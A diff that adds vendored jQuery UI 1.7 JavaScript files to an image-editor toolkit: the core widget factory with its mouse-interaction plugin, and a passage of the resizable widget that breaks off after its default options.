--- /dev/null
@@ -0,0 +1,519 @@
+/*
+ * jQuery UI 1.7
+ *
+ * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
+ * Dual licensed under the MIT (MIT-LICENSE.txt)
+ * and GPL (GPL-LICENSE.txt) licenses.
+ *
+ * http://docs.jquery.com/UI
+ */
+;jQuery.ui || (function($) {
+
+var _remove = $.fn.remove,
+       isFF2 = $.browser.mozilla && (parseFloat($.browser.version) < 1.9);
+
+//Helper functions and ui object
+$.ui = {
+       version: "1.7",
+
+       // $.ui.plugin is deprecated.  Use the proxy pattern instead.
+       plugin: {
+               add: function(module, option, set) {
+                       var proto = $.ui[module].prototype;
+                       for(var i in set) {
+                               proto.plugins[i] = proto.plugins[i] || [];
+                               proto.plugins[i].push([option, set[i]]);
+                       }
+               },
+               call: function(instance, name, args) {
+                       var set = instance.plugins[name];
+                       if(!set || !instance.element[0].parentNode) { return; }
+
+                       for (var i = 0; i < set.length; i++) {
+                               if (instance.options[set[i][0]]) {
+                                       set[i][1].apply(instance.element, args);
+                               }
+                       }
+               }
+       },
+
+       contains: function(a, b) {
+               return document.compareDocumentPosition
+                       ? a.compareDocumentPosition(b) & 16
+                       : a !== b && a.contains(b);
+       },
+
+       hasScroll: function(el, a) {
+
+               //If overflow is hidden, the element might have extra content, but the user wants to hide it
+               if ($(el).css('overflow') == 'hidden') { return false; }
+
+               var scroll = (a && a == 'left') ? 'scrollLeft' : 'scrollTop',
+                       has = false;
+
+               if (el[scroll] > 0) { return true; }
+
+               // TODO: determine which cases actually cause this to happen
+               // if the element doesn't have the scroll set, see if it's possible to
+               // set the scroll
+               el[scroll] = 1;
+               has = (el[scroll] > 0);
+               el[scroll] = 0;
+               return has;
+       },
+
+       isOverAxis: function(x, reference, size) {
+               //Determines when x coordinate is over "b" element axis
+               return (x > reference) && (x < (reference + size));
+       },
+
+       isOver: function(y, x, top, left, height, width) {
+               //Determines when x, y coordinates is over "b" element
+               return $.ui.isOverAxis(y, top, height) && $.ui.isOverAxis(x, left, width);
+       },
+
+       keyCode: {
+               BACKSPACE: 8,
+               CAPS_LOCK: 20,
+               COMMA: 188,
+               CONTROL: 17,
+               DELETE: 46,
+               DOWN: 40,
+               END: 35,
+               ENTER: 13,
+               ESCAPE: 27,
+               HOME: 36,
+               INSERT: 45,
+               LEFT: 37,
+               NUMPAD_ADD: 107,
+               NUMPAD_DECIMAL: 110,
+               NUMPAD_DIVIDE: 111,
+               NUMPAD_ENTER: 108,
+               NUMPAD_MULTIPLY: 106,
+               NUMPAD_SUBTRACT: 109,
+               PAGE_DOWN: 34,
+               PAGE_UP: 33,
+               PERIOD: 190,
+               RIGHT: 39,
+               SHIFT: 16,
+               SPACE: 32,
+               TAB: 9,
+               UP: 38
+       }
+};
+
+// WAI-ARIA normalization
+if (isFF2) {
+       var attr = $.attr,
+               removeAttr = $.fn.removeAttr,
+               ariaNS = "http://www.w3.org/2005/07/aaa",
+               ariaState = /^aria-/,
+               ariaRole = /^wairole:/;
+
+       $.attr = function(elem, name, value) {
+               var set = value !== undefined;
+
+               return (name == 'role'
+                       ? (set
+                               ? attr.call(this, elem, name, "wairole:" + value)
+                               : (attr.apply(this, arguments) || "").replace(ariaRole, ""))
+                       : (ariaState.test(name)
+                               ? (set
+                                       ? elem.setAttributeNS(ariaNS,
+                                               name.replace(ariaState, "aaa:"), value)
+                                       : attr.call(this, elem, name.replace(ariaState, "aaa:")))
+                               : attr.apply(this, arguments)));
+       };
+
+       $.fn.removeAttr = function(name) {
+               return (ariaState.test(name)
+                       ? this.each(function() {
+                               this.removeAttributeNS(ariaNS, name.replace(ariaState, ""));
+                       }) : removeAttr.call(this, name));
+       };
+}
+
+//jQuery plugins
+$.fn.extend({
+       remove: function() {
+               // Safari has a native remove event which actually removes DOM elements,
+               // so we have to use triggerHandler instead of trigger (#3037).
+               $("*", this).add(this).each(function() {
+                       $(this).triggerHandler("remove");
+               });
+               return _remove.apply(this, arguments );
+       },
+
+       enableSelection: function() {
+               return this
+                       .attr('unselectable', 'off')
+                       .css('MozUserSelect', '')
+                       .unbind('selectstart.ui');
+       },
+
+       disableSelection: function() {
+               return this
+                       .attr('unselectable', 'on')
+                       .css('MozUserSelect', 'none')
+                       .bind('selectstart.ui', function() { return false; });
+       },
+
+       scrollParent: function() {
+               var scrollParent;
+               if(($.browser.msie && (/(static|relative)/).test(this.css('position'))) || (/absolute/).test(this.css('position'))) {
+                       scrollParent = this.parents().filter(function() {
+                               return (/(relative|absolute|fixed)/).test($.curCSS(this,'position',1)) && (/(auto|scroll)/).test($.curCSS(this,'overflow',1)+$.curCSS(this,'overflow-y',1)+$.curCSS(this,'overflow-x',1));
+                       }).eq(0);
+               } else {
+                       scrollParent = this.parents().filter(function() {
+                               return (/(auto|scroll)/).test($.curCSS(this,'overflow',1)+$.curCSS(this,'overflow-y',1)+$.curCSS(this,'overflow-x',1));
+                       }).eq(0);
+               }
+
+               return (/fixed/).test(this.css('position')) || !scrollParent.length ? $(document) : scrollParent;
+       }
+});
+
+
+//Additional selectors
+$.extend($.expr[':'], {
+       data: function(elem, i, match) {
+               return !!$.data(elem, match[3]);
+       },
+
+       focusable: function(element) {
+               var nodeName = element.nodeName.toLowerCase(),
+                       tabIndex = $.attr(element, 'tabindex');
+               return (/input|select|textarea|button|object/.test(nodeName)
+                       ? !element.disabled
+                       : 'a' == nodeName || 'area' == nodeName
+                               ? element.href || !isNaN(tabIndex)
+                               : !isNaN(tabIndex))
+                       // the element and all of its ancestors must be visible
+                       // the browser may report that the area is hidden
+                       && !$(element)['area' == nodeName ? 'parents' : 'closest'](':hidden').length;
+       },
+
+       tabbable: function(element) {
+               var tabIndex = $.attr(element, 'tabindex');
+               return (isNaN(tabIndex) || tabIndex >= 0) && $(element).is(':focusable');
+       }
+});
+
+
+// $.widget is a factory to create jQuery plugins
+// taking some boilerplate code out of the plugin code
+function getter(namespace, plugin, method, args) {
+       function getMethods(type) {
+               var methods = $[namespace][plugin][type] || [];
+               return (typeof methods == 'string' ? methods.split(/,?\s+/) : methods);
+       }
+
+       var methods = getMethods('getter');
+       if (args.length == 1 && typeof args[0] == 'string') {
+               methods = methods.concat(getMethods('getterSetter'));
+       }
+       return ($.inArray(method, methods) != -1);
+}
+
+$.widget = function(name, prototype) {
+       var namespace = name.split(".")[0];
+       name = name.split(".")[1];
+
+       // create plugin method
+       $.fn[name] = function(options) {
+               var isMethodCall = (typeof options == 'string'),
+                       args = Array.prototype.slice.call(arguments, 1);
+
+               // prevent calls to internal methods
+               if (isMethodCall && options.substring(0, 1) == '_') {
+                       return this;
+               }
+
+               // handle getter methods
+               if (isMethodCall && getter(namespace, name, options, args)) {
+                       var instance = $.data(this[0], name);
+                       return (instance ? instance[options].apply(instance, args)
+                               : undefined);
+               }
+
+               // handle initialization and non-getter methods
+               return this.each(function() {
+                       var instance = $.data(this, name);
+
+                       // constructor
+                       (!instance && !isMethodCall &&
+                               $.data(this, name, new $[namespace][name](this, options))._init());
+
+                       // method call
+                       (instance && isMethodCall && $.isFunction(instance[options]) &&
+                               instance[options].apply(instance, args));
+               });
+       };
+
+       // create widget constructor
+       $[namespace] = $[namespace] || {};
+       $[namespace][name] = function(element, options) {
+               var self = this;
+
+               this.namespace = namespace;
+               this.widgetName = name;
+               this.widgetEventPrefix = $[namespace][name].eventPrefix || name;
+               this.widgetBaseClass = namespace + '-' + name;
+
+               this.options = $.extend({},
+                       $.widget.defaults,
+                       $[namespace][name].defaults,
+                       $.metadata && $.metadata.get(element)[name],
+                       options);
+
+               this.element = $(element)
+                       .bind('setData.' + name, function(event, key, value) {
+                               if (event.target == element) {
+                                       return self._setData(key, value);
+                               }
+                       })
+                       .bind('getData.' + name, function(event, key) {
+                               if (event.target == element) {
+                                       return self._getData(key);
+                               }
+                       })
+                       .bind('remove', function() {
+                               return self.destroy();
+                       });
+       };
+
+       // add widget prototype
+       $[namespace][name].prototype = $.extend({}, $.widget.prototype, prototype);
+
+       // TODO: merge getter and getterSetter properties from widget prototype
+       // and plugin prototype
+       $[namespace][name].getterSetter = 'option';
+};
+
+$.widget.prototype = {
+       _init: function() {},
+       destroy: function() {
+               this.element.removeData(this.widgetName)
+                       .removeClass(this.widgetBaseClass + '-disabled' + ' ' + this.namespace + '-state-disabled')
+                       .removeAttr('aria-disabled');
+       },
+
+       option: function(key, value) {
+               var options = key,
+                       self = this;
+
+               if (typeof key == "string") {
+                       if (value === undefined) {
+                               return this._getData(key);
+                       }
+                       options = {};
+                       options[key] = value;
+               }
+
+               $.each(options, function(key, value) {
+                       self._setData(key, value);
+               });
+       },
+       _getData: function(key) {
+               return this.options[key];
+       },
+       _setData: function(key, value) {
+               this.options[key] = value;
+
+               if (key == 'disabled') {
+                       this.element
+                               [value ? 'addClass' : 'removeClass'](
+                                       this.widgetBaseClass + '-disabled' + ' ' +
+                                       this.namespace + '-state-disabled')
+                               .attr("aria-disabled", value);
+               }
+       },
+
+       enable: function() {
+               this._setData('disabled', false);
+       },
+       disable: function() {
+               this._setData('disabled', true);
+       },
+
+       _trigger: function(type, event, data) {
+               var callback = this.options[type],
+                       eventName = (type == this.widgetEventPrefix
+                               ? type : this.widgetEventPrefix + type);
+
+               event = $.Event(event);
+               event.type = eventName;
+
+               // copy original event properties over to the new event
+               // this would happen if we could call $.event.fix instead of $.Event
+               // but we don't have a way to force an event to be fixed multiple times
+               if (event.originalEvent) {
+                       for (var i = $.event.props.length, prop; i;) {
+                               prop = $.event.props[--i];
+                               event[prop] = event.originalEvent[prop];
+                       }
+               }
+
+               this.element.trigger(event, data);
+
+               return !($.isFunction(callback) && callback.call(this.element[0], event, data) === false
+                       || event.isDefaultPrevented());
+       }
+};
+
+$.widget.defaults = {
+       disabled: false
+};
+
+
+/** Mouse Interaction Plugin **/
+
+$.ui.mouse = {
+       _mouseInit: function() {
+               var self = this;
+
+               this.element
+                       .bind('mousedown.'+this.widgetName, function(event) {
+                               return self._mouseDown(event);
+                       })
+                       .bind('click.'+this.widgetName, function(event) {
+                               if(self._preventClickEvent) {
+                                       self._preventClickEvent = false;
+                                       event.stopImmediatePropagation();
+                                       return false;
+                               }
+                       });
+
+               // Prevent text selection in IE
+               if ($.browser.msie) {
+                       this._mouseUnselectable = this.element.attr('unselectable');
+                       this.element.attr('unselectable', 'on');
+               }
+
+               this.started = false;
+       },
+
+       // TODO: make sure destroying one instance of mouse doesn't mess with
+       // other instances of mouse
+       _mouseDestroy: function() {
+               this.element.unbind('.'+this.widgetName);
+
+               // Restore text selection in IE
+               ($.browser.msie
+                       && this.element.attr('unselectable', this._mouseUnselectable));
+       },
+
+       _mouseDown: function(event) {
+               // don't let more than one widget handle mouseStart
+               // TODO: figure out why we have to use originalEvent
+               event.originalEvent = event.originalEvent || {};
+               if (event.originalEvent.mouseHandled) { return; }
+
+               // we may have missed mouseup (out of window)
+               (this._mouseStarted && this._mouseUp(event));
+
+               this._mouseDownEvent = event;
+
+               var self = this,
+                       btnIsLeft = (event.which == 1),
+                       elIsCancel = (typeof this.options.cancel == "string" ? $(event.target).parents().add(event.target).filter(this.options.cancel).length : false);
+               if (!btnIsLeft || elIsCancel || !this._mouseCapture(event)) {
+                       return true;
+               }
+
+               this.mouseDelayMet = !this.options.delay;
+               if (!this.mouseDelayMet) {
+                       this._mouseDelayTimer = setTimeout(function() {
+                               self.mouseDelayMet = true;
+                       }, this.options.delay);
+               }
+
+               if (this._mouseDistanceMet(event) && this._mouseDelayMet(event)) {
+                       this._mouseStarted = (this._mouseStart(event) !== false);
+                       if (!this._mouseStarted) {
+                               event.preventDefault();
+                               return true;
+                       }
+               }
+
+               // these delegates are required to keep context
+               this._mouseMoveDelegate = function(event) {
+                       return self._mouseMove(event);
+               };
+               this._mouseUpDelegate = function(event) {
+                       return self._mouseUp(event);
+               };
+               $(document)
+                       .bind('mousemove.'+this.widgetName, this._mouseMoveDelegate)
+                       .bind('mouseup.'+this.widgetName, this._mouseUpDelegate);
+
+               // preventDefault() is used to prevent the selection of text here -
+               // however, in Safari, this causes select boxes not to be selectable
+               // anymore, so this fix is needed
+               ($.browser.safari || event.preventDefault());
+
+               event.originalEvent.mouseHandled = true;
+               return true;
+       },
+
+       _mouseMove: function(event) {
+               // IE mouseup check - mouseup happened when mouse was out of window
+               if ($.browser.msie && !event.button) {
+                       return this._mouseUp(event);
+               }
+
+               if (this._mouseStarted) {
+                       this._mouseDrag(event);
+                       return event.preventDefault();
+               }
+
+               if (this._mouseDistanceMet(event) && this._mouseDelayMet(event)) {
+                       this._mouseStarted =
+                               (this._mouseStart(this._mouseDownEvent, event) !== false);
+                       (this._mouseStarted ? this._mouseDrag(event) : this._mouseUp(event));
+               }
+
+               return !this._mouseStarted;
+       },
+
+       _mouseUp: function(event) {
+               $(document)
+                       .unbind('mousemove.'+this.widgetName, this._mouseMoveDelegate)
+                       .unbind('mouseup.'+this.widgetName, this._mouseUpDelegate);
+
+               if (this._mouseStarted) {
+                       this._mouseStarted = false;
+                       this._preventClickEvent = (event.target == this._mouseDownEvent.target);
+                       this._mouseStop(event);
+               }
+
+               return false;
+       },
+
+       _mouseDistanceMet: function(event) {
+               return (Math.max(
+                               Math.abs(this._mouseDownEvent.pageX - event.pageX),
+                               Math.abs(this._mouseDownEvent.pageY - event.pageY)
+                       ) >= this.options.distance
+               );
+       },
+
+       _mouseDelayMet: function(event) {
+               return this.mouseDelayMet;
+       },
+
+       // These are placeholder methods, to be overriden by extending plugin
+       _mouseStart: function(event) {},
+       _mouseDrag: function(event) {},
+       _mouseStop: function(event) {},
+       _mouseCapture: function(event) { return true; }
+};
+
+$.ui.mouse.defaults = {
+       cancel: null,
+       distance: 1,
+       delay: 0
+};
+
+})(jQuery);
diff --git a/Toolkit/PHPImageEditor/javascript/ui.resizable.js b/Toolkit/PHPImageEditor/javascript/ui.resizable.js
new file mode 100644 (file)
index 0000000..0e4b894
--- /dev/null
@@ -0,0 +1,800 @@
+/*
+ * jQuery UI Resizable 1.7
+ *
+ * Copyright (c) 2009 AUTHORS.txt (http://jqueryui.com/about)
+ * Dual licensed under the MIT (MIT-LICENSE.txt)
+ * and GPL (GPL-LICENSE.txt) licenses.
+ *
+ * http://docs.jquery.com/UI/Resizables
+ *
+ * Depends:
+ *     ui.core.js
+ */
+(function($) {
+
+$.widget("ui.resizable", $.extend({}, $.ui.mouse, {
+
+       _init: function() {
+
+               var self = this, o = this.options;
+               this.element.addClass("ui-resizable");
+
+               $.extend(this, {
+                       _aspectRatio: !!(o.aspectRatio),
+                       aspectRatio: o.aspectRatio,
+                       originalElement: this.element,
+                       _proportionallyResizeElements: [],
+                       _helper: o.helper || o.ghost || o.animate ? o.helper || 'ui-resizable-helper' : null
+               });
+
+               //Wrap the element if it cannot hold child nodes
+               if(this.element[0].nodeName.match(/canvas|textarea|input|select|button|img/i)) {
+
+                       //Opera fix for relative positioning
+                       if (/relative/.test(this.element.css('position')) && $.browser.opera)
+                               this.element.css({ position: 'relative', top: 'auto', left: 'auto' });
+
+                       //Create a wrapper element and set the wrapper to the new current internal element
+                       this.element.wrap(
+                               $('<div class="ui-wrapper" style="overflow: hidden;"></div>').css({
+                                       position: this.element.css('position'),
+                                       width: this.element.outerWidth(),
+                                       height: this.element.outerHeight(),
+                                       top: this.element.css('top'),
+                                       left: this.element.css('left')
+                               })
+                       );
+
+                       //Overwrite the original this.element
+                       this.element = this.element.parent().data(
+                               "resizable", this.element.data('resizable')
+                       );
+
+                       this.elementIsWrapper = true;
+
+                       //Move margins to the wrapper
+                       this.element.css({ marginLeft: this.originalElement.css("marginLeft"), marginTop: this.originalElement.css("marginTop"), marginRight: this.originalElement.css("marginRight"), marginBottom: this.originalElement.css("marginBottom") });
+                       this.originalElement.css({ marginLeft: 0, marginTop: 0, marginRight: 0, marginBottom: 0});
+
+                       //Prevent Safari textarea resize
+                       this.originalResizeStyle = this.originalElement.css('resize');
+                       this.originalElement.css('resize', 'none');
+
+                       //Push the actual element to our proportionallyResize internal array
+                       this._proportionallyResizeElements.push(this.originalElement.css({ position: 'static', zoom: 1, display: 'block' }));
+
+                       // avoid IE jump (hard set the margin)
+                       this.originalElement.css({ margin: this.originalElement.css('margin') });
+
+                       // fix handlers offset
+                       this._proportionallyResize();
+
+               }
+
+               this.handles = o.handles || (!$('.ui-resizable-handle', this.element).length ? "e,s,se" : { n: '.ui-resizable-n', e: '.ui-resizable-e', s: '.ui-resizable-s', w: '.ui-resizable-w', se: '.ui-resizable-se', sw: '.ui-resizable-sw', ne: '.ui-resizable-ne', nw: '.ui-resizable-nw' });
+               if(this.handles.constructor == String) {
+
+                       if(this.handles == 'all') this.handles = 'n,e,s,w,se,sw,ne,nw';
+                       var n = this.handles.split(","); this.handles = {};
+
+                       for(var i = 0; i < n.length; i++) {
+
+                               var handle = $.trim(n[i]), hname = 'ui-resizable-'+handle;
+                               var axis = $('<div class="ui-resizable-handle ' + hname + '"></div>');
+
+                               // increase zIndex of sw, se, ne, nw axis
+                               //TODO : this modifies original option
+                               if(/sw|se|ne|nw/.test(handle)) axis.css({ zIndex: ++o.zIndex });
+
+                               //TODO : What's going on here?
+                               if ('se' == handle) {
+                                       axis.addClass('ui-icon ui-icon-gripsmall-diagonal-se');
+                               };
+
+                               //Insert into internal handles object and append to element
+                               this.handles[handle] = '.ui-resizable-'+handle;
+                               this.element.append(axis);
+                       }
+
+               }
+
+               this._renderAxis = function(target) {
+
+                       target = target || this.element;
+
+                       for(var i in this.handles) {
+
+                               if(this.handles[i].constructor == String)
+                                       this.handles[i] = $(this.handles[i], this.element).show();
+
+                               //Apply pad to wrapper element, needed to fix axis position (textarea, inputs, scrolls)
+                               if (this.elementIsWrapper && this.originalElement[0].nodeName.match(/textarea|input|select|button/i)) {
+
+                                       var axis = $(this.handles[i], this.element), padWrapper = 0;
+
+                                       //Checking the correct pad and border
+                                       padWrapper = /sw|ne|nw|se|n|s/.test(i) ? axis.outerHeight() : axis.outerWidth();
+
+                                       //The padding type i have to apply...
+                                       var padPos = [ 'padding',
+                                               /ne|nw|n/.test(i) ? 'Top' :
+                                               /se|sw|s/.test(i) ? 'Bottom' :
+                                               /^e$/.test(i) ? 'Right' : 'Left' ].join("");
+
+                                       target.css(padPos, padWrapper);
+
+                                       this._proportionallyResize();
+
+                               }
+
+                               //TODO: What's that good for? There's not anything to be executed left
+                               if(!$(this.handles[i]).length)
+                                       continue;
+
+                       }
+               };
+
+               //TODO: make renderAxis a prototype function
+               this._renderAxis(this.element);
+
+               this._handles = $('.ui-resizable-handle', this.element)
+                       .disableSelection();
+
+               //Matching axis name
+               this._handles.mouseover(function() {
+                       if (!self.resizing) {
+                               if (this.className)
+                                       var axis = this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i);
+                               //Axis, default = se
+                               self.axis = axis && axis[1] ? axis[1] : 'se';
+                       }
+               });
+
+               //If we want to auto hide the elements
+               if (o.autoHide) {
+                       this._handles.hide();
+                       $(this.element)
+                               .addClass("ui-resizable-autohide")
+                               .hover(function() {
+                                       $(this).removeClass("ui-resizable-autohide");
+                                       self._handles.show();
+                               },
+                               function(){
+                                       if (!self.resizing) {
+                                               $(this).addClass("ui-resizable-autohide");
+                                               self._handles.hide();
+                                       }
+                               });
+               }
+
+               //Initialize the mouse interaction
+               this._mouseInit();
+
+       },
+
+       destroy: function() {
+
+               this._mouseDestroy();
+
+               var _destroy = function(exp) {
+                       $(exp).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing")
+                               .removeData("resizable").unbind(".resizable").find('.ui-resizable-handle').remove();
+               };
+
+               //TODO: Unwrap at same DOM position
+               if (this.elementIsWrapper) {
+                       _destroy(this.element);
+                       var wrapper = this.element;
+                       wrapper.parent().append(
+                               this.originalElement.css({
+                                       position: wrapper.css('position'),
+                                       width: wrapper.outerWidth(),
+                                       height: wrapper.outerHeight(),
+                                       top: wrapper.css('top'),
+                                       left: wrapper.css('left')
+                               })
+                       ).end().remove();
+               }
+
+               this.originalElement.css('resize', this.originalResizeStyle);
+               _destroy(this.originalElement);
+
+       },
+
+       _mouseCapture: function(event) {
+
+               var handle = false;
+               for(var i in this.handles) {
+                       if($(this.handles[i])[0] == event.target) handle = true;
+               }
+
+               return this.options.disabled || !!handle;
+
+       },
+
+       _mouseStart: function(event) {
+
+               var o = this.options, iniPos = this.element.position(), el = this.element;
+
+               this.resizing = true;
+               this.documentScroll = { top: $(document).scrollTop(), left: $(document).scrollLeft() };
+
+               // bugfix for http://dev.jquery.com/ticket/1749
+               if (el.is('.ui-draggable') || (/absolute/).test(el.css('position'))) {
+                       el.css({ position: 'absolute', top: iniPos.top, left: iniPos.left });
+               }
+
+               //Opera fixing relative position
+               if ($.browser.opera && (/relative/).test(el.css('position')))
+                       el.css({ position: 'relative', top: 'auto', left: 'auto' });
+
+               this._renderProxy();
+
+               var curleft = num(this.helper.css('left')), curtop = num(this.helper.css('top'));
+
+               if (o.containment) {
+                       curleft += $(o.containment).scrollLeft() || 0;
+                       curtop += $(o.containment).scrollTop() || 0;
+               }
+
+               //Store needed variables
+               this.offset = this.helper.offset();
+               this.position = { left: curleft, top: curtop };
+               this.size = this._helper ? { width: el.outerWidth(), height: el.outerHeight() } : { width: el.width(), height: el.height() };
+               this.originalSize = this._helper ? { width: el.outerWidth(), height: el.outerHeight() } : { width: el.width(), height: el.height() };
+               this.originalPosition = { left: curleft, top: curtop };
+               this.sizeDiff = { width: el.outerWidth() - el.width(), height: el.outerHeight() - el.height() };
+               this.originalMousePosition = { left: event.pageX, top: event.pageY };
+
+               //Aspect Ratio
+               this.aspectRatio = (typeof o.aspectRatio == 'number') ? o.aspectRatio : ((this.originalSize.width / this.originalSize.height) || 1);
+
+           var cursor = $('.ui-resizable-' + this.axis).css('cursor');
+           $('body').css('cursor', cursor == 'auto' ? this.axis + '-resize' : cursor);
+
+               el.addClass("ui-resizable-resizing");
+               this._propagate("start", event);
+               return true;
+       },
+
+       _mouseDrag: function(event) {
+
+               //Increase performance, avoid regex
+               var el = this.helper, o = this.options, props = {},
+                       self = this, smp = this.originalMousePosition, a = this.axis;
+
+               var dx = (event.pageX-smp.left)||0, dy = (event.pageY-smp.top)||0;
+               var trigger = this._change[a];
+               if (!trigger) return false;
+
+               // Calculate the attrs that will be change
+               var data = trigger.apply(this, [event, dx, dy]), ie6 = $.browser.msie && $.browser.version < 7, csdif = this.sizeDiff;
+
+               if (this._aspectRatio || event.shiftKey)
+                       data = this._updateRatio(data, event);
+
+               data = this._respectSize(data, event);
+
+               // plugins callbacks need to be called first
+               this._propagate("resize", event);
+
+               el.css({
+                       top: this.position.top + "px", left: this.position.left + "px",
+                       width: this.size.width + "px", height: this.size.height + "px"
+               });
+
+               if (!this._helper && this._proportionallyResizeElements.length)
+                       this._proportionallyResize();
+
+               this._updateCache(data);
+
+               // calling the user callback at the end
+               this._trigger('resize', event, this.ui());
+
+               return false;
+       },
+
+       _mouseStop: function(event) {
+
+               this.resizing = false;
+               var o = this.options, self = this;
+
+               if(this._helper) {
+                       var pr = this._proportionallyResizeElements, ista = pr.length && (/textarea/i).test(pr[0].nodeName),
+                                               soffseth = ista && $.ui.hasScroll(pr[0], 'left') /* TODO - jump height */ ? 0 : self.sizeDiff.height,
+                                                       soffsetw = ista ? 0 : self.sizeDiff.width;
+
+                       var s = { width: (self.size.width - soffsetw), height: (self.size.height - soffseth) },
+                               left = (parseInt(self.element.css('left'), 10) + (self.position.left - self.originalPosition.left)) || null,
+                               top = (parseInt(self.element.css('top'), 10) + (self.position.top - self.originalPosition.top)) || null;
+
+                       if (!o.animate)
+                               this.element.css($.extend(s, { top: top, left: left }));
+
+                       self.helper.height(self.size.height);
+                       self.helper.width(self.size.width);
+
+                       if (this._helper && !o.animate) this._proportionallyResize();
+               }
+
+               $('body').css('cursor', 'auto');
+
+               this.element.removeClass("ui-resizable-resizing");
+
+               this._propagate("stop", event);
+
+               if (this._helper) this.helper.remove();
+               return false;
+
+       },
+
+       _updateCache: function(data) {
+               var o = this.options;
+               this.offset = this.helper.offset();
+               if (isNumber(data.left)) this.position.left = data.left;
+               if (isNumber(data.top)) this.position.top = data.top;
+               if (isNumber(data.height)) this.size.height = data.height;
+               if (isNumber(data.width)) this.size.width = data.width;
+       },
+
+       _updateRatio: function(data, event) {
+
+               var o = this.options, cpos = this.position, csize = this.size, a = this.axis;
+
+               if (data.height) data.width = (csize.height * this.aspectRatio);
+               else if (data.width) data.height = (csize.width / this.aspectRatio);
+
+               if (a == 'sw') {
+                       data.left = cpos.left + (csize.width - data.width);
+                       data.top = null;
+               }
+               if (a == 'nw') {
+                       data.top = cpos.top + (csize.height - data.height);
+                       data.left = cpos.left + (csize.width - data.width);
+               }
+
+               return data;
+       },
+
+       _respectSize: function(data, event) {
+
+               var el = this.helper, o = this.options, pRatio = this._aspectRatio || event.shiftKey, a = this.axis,
+                               ismaxw = isNumber(data.width) && o.maxWidth && (o.maxWidth < data.width), ismaxh = isNumber(data.height) && o.maxHeight && (o.maxHeight < data.height),
+                                       isminw = isNumber(data.width) && o.minWidth && (o.minWidth > data.width), isminh = isNumber(data.height) && o.minHeight && (o.minHeight > data.height);
+
+               if (isminw) data.width = o.minWidth;
+               if (isminh) data.height = o.minHeight;
+               if (ismaxw) data.width = o.maxWidth;
+               if (ismaxh) data.height = o.maxHeight;
+
+               var dw = this.originalPosition.left + this.originalSize.width, dh = this.position.top + this.size.height;
+               var cw = /sw|nw|w/.test(a), ch = /nw|ne|n/.test(a);
+
+               if (isminw && cw) data.left = dw - o.minWidth;
+               if (ismaxw && cw) data.left = dw - o.maxWidth;
+               if (isminh && ch)       data.top = dh - o.minHeight;
+               if (ismaxh && ch)       data.top = dh - o.maxHeight;
+
+               // fixing jump error on top/left - bug #2330
+               var isNotwh = !data.width && !data.height;
+               if (isNotwh && !data.left && data.top) data.top = null;
+               else if (isNotwh && !data.top && data.left) data.left = null;
+
+               return data;
+       },
+
+       _proportionallyResize: function() {
+
+               var o = this.options;
+               if (!this._proportionallyResizeElements.length) return;
+               var element = this.helper || this.element;
+
+               for (var i=0; i < this._proportionallyResizeElements.length; i++) {
+
+                       var prel = this._proportionallyResizeElements[i];
+
+                       if (!this.borderDif) {
+                               var b = [prel.css('borderTopWidth'), prel.css('borderRightWidth'), prel.css('borderBottomWidth'), prel.css('borderLeftWidth')],
+                                       p = [prel.css('paddingTop'), prel.css('paddingRight'), prel.css('paddingBottom'), prel.css('paddingLeft')];
+
+                               this.borderDif = $.map(b, function(v, i) {
+                                       var border = parseInt(v,10)||0, padding = parseInt(p[i],10)||0;
+                                       return border + padding;
+                               });
+                       }
+
+                       if ($.browser.msie && !(!($(element).is(':hidden') || $(element).parents(':hidden').length)))
+                               continue;
+
+                       prel.css({
+                               height: (element.height() - this.borderDif[0] - this.borderDif[2]) || 0,
+                               width: (element.width() - this.borderDif[1] - this.borderDif[3]) || 0
+                       });
+
+               };
+
+       },
+
+       _renderProxy: function() {
+
+               var el = this.element, o = this.options;
+               this.elementOffset = el.offset();
+
+               if(this._helper) {
+
+                       this.helper = this.helper || $('<div style="overflow:hidden;"></div>');
+
+                       // fix ie6 offset TODO: This seems broken
+                       var ie6 = $.browser.msie && $.browser.version < 7, ie6offset = (ie6 ? 1 : 0),
+                       pxyoffset = ( ie6 ? 2 : -1 );
+
+                       this.helper.addClass(this._helper).css({
+                               width: this.element.outerWidth() + pxyoffset,
+                               height: this.element.outerHeight() + pxyoffset,
+                               position: 'absolute',
+                               left: this.elementOffset.left - ie6offset +'px',
+                               top: this.elementOffset.top - ie6offset +'px',
+                               zIndex: ++o.zIndex //TODO: Don't modify option
+                       });
+
+                       this.helper
+                               .appendTo("body")
+                               .disableSelection();
+
+               } else {
+                       this.helper = this.element;
+               }
+
+       },
+
+       _change: {
+               e: function(event, dx, dy) {
+                       return { width: this.originalSize.width + dx };
+               },
+               w: function(event, dx, dy) {
+                       var o = this.options, cs = this.originalSize, sp = this.originalPosition;
+                       return { left: sp.left + dx, width: cs.width - dx };
+               },
+               n: function(event, dx, dy) {
+                       var o = this.options, cs = this.originalSize, sp = this.originalPosition;
+                       return { top: sp.top + dy, height: cs.height - dy };
+               },
+               s: function(event, dx, dy) {
+                       return { height: this.originalSize.height + dy };
+               },
+               se: function(event, dx, dy) {
+                       return $.extend(this._change.s.apply(this, arguments), this._change.e.apply(this, [event, dx, dy]));
+               },
+               sw: function(event, dx, dy) {
+                       return $.extend(this._change.s.apply(this, arguments), this._change.w.apply(this, [event, dx, dy]));
+               },
+               ne: function(event, dx, dy) {
+                       return $.extend(this._change.n.apply(this, arguments), this._change.e.apply(this, [event, dx, dy]));
+               },
+               nw: function(event, dx, dy) {
+                       return $.extend(this._change.n.apply(this, arguments), this._change.w.apply(this, [event, dx, dy]));
+               }
+       },
+
+       _propagate: function(n, event) {
+               $.ui.plugin.call(this, n, [event, this.ui()]);
+               (n != "resize" && this._trigger(n, event, this.ui()));
+       },
+
+       plugins: {},
+
+       ui: function() {
+               return {
+                       originalElement: this.originalElement,
+                       element: this.element,
+                       helper: this.helper,
+                       position: this.position,
+                       size: this.size,
+                       originalSize: this.originalSize,
+                       originalPosition: this.originalPosition
+               };
+       }
+
+}));
+
+$.extend($.ui.resizable, {
+       version: "1.7",
+       eventPrefix: "resize",
+       defaults: {
+               alsoResize: false,
+               animate: false,
+               animateDuration: "slow",
+               animateEasing: "swing",
+               aspectRatio: false,
+               autoHide: false,
+               cancel: ":input,option",
+               containment: false,
+               delay: 0,
+               distance: 1,
+               ghost: false,
+               grid: false,
+               handles: "e,s,se",
+               helper: false,
+               maxHeight: null,
+               maxWidth: null,
+               minHeight: 10,
+               minWidth: 10,
+               zIndex: 1000
+       }
+});
+
